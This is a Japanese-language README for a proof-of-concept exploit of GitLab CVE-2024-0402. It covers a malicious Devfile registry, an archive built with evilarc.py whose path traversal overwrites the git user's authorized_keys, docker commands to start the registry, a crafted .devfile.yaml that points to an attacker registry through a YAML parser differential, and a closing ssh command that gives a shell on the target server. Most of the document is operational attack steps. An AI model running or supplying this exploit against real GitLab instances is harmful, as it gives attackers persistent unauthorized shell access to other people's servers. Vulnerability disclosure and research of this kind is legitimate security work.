
Gitlab における CVE-2024-0402 のエクスプロイト
このプロジェクトには、GitLabのCVE-2024-0402を悪用するために使用できる悪意のあるDevfileレジストリが含まれています。
nodejs:2.2.1スタックがインデックス化され、archive.tarファイルを公開します。これは、registry-supportライブラリ v1.1.0より前のパストラバーサルの脆弱性を悪用しています。
tarの場所: malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar
これは、evilarc.pyを使用して作成され、対象のGitLabサーバー上の/var/opt/gitlab/.ssh/authorized_keysを、このリポジトリのssh-keys/フォルダにあるSSH鍵で上書きします。
python3 evilarc.py authorized_keys -f authzkeys.tar.gz -p var/opt/gitlab/.ssh/ -o unix
実行すると、レジストリは悪意のある*.tar*がフェッチ可能なスタックに追加されます。
index.jsonにスタックリソースとしてリストされているのを確認してください:
...
"links": {
"self": "devfile-catalog/nodejs:2.2.1"
},
...
"resources": [
"devfile.yaml",
"archive.tar"
],
...
バージョンが16.8.0以下のGitLab EEインスタンスを構成します。ドキュメントと、専用の!exploitableシリーズブログ記事の追加メモに従って、ワークスペースを有効にします。
準備ができたら、以下の手順に従ってください:
このリポジトリのルートでdocker build -t devfile-index .を実行し、レジストリのコンテナイメージをビルドします
docker run -d -p 5000:5000 --name local-registrypoc registry:2を実行して、Devfileレジストリがスタックを保存するために使用するローカルコンテナレジストリを起動します。注意: 必要に応じてコマンドを編集して公開してください。私たちの場合、すべてローカル環境で行われました。
docker run --network host devfile-indexを実行して、ステップ1でビルドした悪意のあるDevfileレジストリを起動します。注意: 前と同様に、GitLabインスタンスから到達可能になるように実行コマンドを編集してください。
開発者として対象のGitLabサーバーに認証し、制御下にあるリポジトリの.devfile.yamlを編集します。YAMLは、パーサーの差分を悪用して悪意のあるレジストリからのフェッチを許可する必要があります。
schemaVersion: 2.2.0
!binary parent:
id: nodejs
registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
- name: development-environment
attributes:
gl/inject-editor: true
container:
image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"
GitLab UIでファイル書き込みをトリガーするには、編集したリポジトリで新しいワークスペースを開始するだけです。数秒後、任意のファイル書き込みが発生し、ssh-keys/pockey.pubがgitユーザーのauthorized_keysに追加されます。
以下のコマンドでgitユーザーとして無制限のシェルを利用できるはずです:
ssh -i ssh-keys/pockey git@<YOUR_GITLAB_SERVER>